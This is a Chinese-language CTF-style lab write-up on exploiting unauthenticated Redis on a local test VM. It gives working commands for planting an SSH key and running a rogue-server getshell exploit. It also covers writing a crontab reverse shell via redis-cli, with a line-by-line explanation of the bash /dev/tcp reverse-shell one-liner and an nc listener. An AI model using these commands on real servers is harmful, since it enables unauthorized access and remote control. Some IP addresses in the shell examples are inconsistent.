作为菜鸡的我打完网鼎了解到了redis,于是复现一波redis的漏洞,之后再去做一下网鼎ssrfme。
攻击者:kali 192.168.229.130
靶机: ubuntu20 192.168.229.132
前置知识: Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。(ps理解为就是一个数据库)
本漏洞有多条思路:
1.ssh key 直接登录
2.直接用exp getshell
3.在crontab里写定时任务,反弹shell
4.写文件
1. 创建ssh 直接登录
搭建的是Redis 3.2.11版本,注意需要修改配置
参考文章:
https://www.freebuf.com/vuls/162035.html
nmap探测一波可以探测出信息
发现可以直连,存在未授权访问
将公钥导入key.txt文件之中,注意\n
再次连接
设置redis的备份路径为/root/.ssh和保存文件名authorized_keys
注意如果出现(error) ERR Changing directory: No such file or directory只是第一次连接ssh,需要在靶机 输入
ssh localhost
如果出现(error) ERR Changing directory: Permission denied
说明redis并不是以root启动的这个问题出现在使用vulhub搭建的redis环境之中,本人重新搭建redis就是因为在vulhub出现此问题解决不了。如果哪位大佬解决了请告诉我
最后save将以上保存
ssh直连成功,进入ubuntu /root/.ssh 下可以看到最后用户是kali
整理一下思路:因为可以直接登录到redis,我们可以创建ssh 的key,将公钥导入redis中,然后将默认路径改为/root/.ssh此时我们的公钥就存在此目录,这样就达到了免密登录的权限
条件:
1.必须是以root权限登录的redis否则没有权限修改默认路径
2.开启了ssh
2.直接用exp getshell
环境找的是vulhub上的4.x环境,因为我找到exp是4.x/5.x exp
步骤如下,先下载好exp。
git clone https://github.com/vulhub/redis-rogue-getshell
然后进入到RedisModulesSDK/目录进行一个编译
cd RedisModulesSDK/
make
最后直接打exp
python3 redis-master.py -r 192.168.229.132 -p 6379 -L 192.168.229.130 -P 8888 -f RedisModulesSDK/exp.so -c “id”
-c 后面跟着系统命令,第一次我输入的id、
第二次我输入whoami
条件
1.对应版本对应exp
2.不需要以root方式启动
3.在crontab里写定时任务,反弹shell
之前一直使用shell的时候就是照搬命令:
经过学习我以我自己的理解解释一下shell
一般我们使用的shell
bash -i >& /dev/tcp/192.168.229.132/2333 0>&1
首先说一什么是shell,shell就是一个用户与客户端交互的界面。而bash是shell中的一种,-i 就是产生交互式的shell
在解释一下/dev/tcp/192.168.229.132/2333,dev/tcp
特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,而后面跟着的是目标地址的ip以及端口
每个程序在运行后,都会至少打开三个文件描述符,分别是0:标准输入;1:标准输出;2:标准错误。
<表示输入 >表示输出
先解释:
bash -i > /dev/tcp/192.168.229.132/2333 0>&1
首先将shell输出到(重定向)/dev/tcp/192.168.229.132/2333之中,
之后将0也就是标注输入定向到1之中,此时的1代表 /dev/tcp/192.168.229.132/2333,这样就产生了一个交互的shell
也是以下两句的合并:
bash -i > /dev/tcp/192.168.229.132/2333
bash -i
但是执行的过程中攻击端执行shell命令之后,在靶机会生所执行的命令回显。
bash -i > /dev/tcp/192.168.229.132
/2333 0>&1 2>&1
将标准错误输出也重定向 /dev/tcp/192.168.146.129/2333可以解决以上问题最后合并:
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
参考文章:
https://xz.aliyun.com/t/2549
https://zhuanlan.zhihu.com/p/47765176
https://www.cnblogs.com/iouwenbo/p/11277453.html
接下来进入实验:
还是用到之前的redis3.2版本
root@kali:~# nc -lvnp 7999
使用nc 监听端口
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-v 显示指令执行过程。
-p<通信端口> 设置本地主机使用的通信端口。
root@kali:/home/redis-rogue-getshell# redis-cli -h 192.168.229.132
192.168.229.132:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.229.132/7999 0>&1\n\n"
OK
192.168.229.132:6379> config set dir /var/spool/cron/
OK
192.168.229.132:6379> config set dbfilename root
OK
192.168.229.132:6379> save
很遗憾最后我没有获取到shell,可能是哪里出错了,如果哪位大佬知道了,请多多指点,可能问题出在crontab路径上,ubuntu搭建的redis会出现这个问题
**
4.写文件
**
写入文件其实与上面思路一下,就是将目录该为网站根目录 了,写入一句话木马
1.redis未授权访问的多种思路
2.反弹shell的原理
参考文章:https://www.freebuf.com/column/158065.html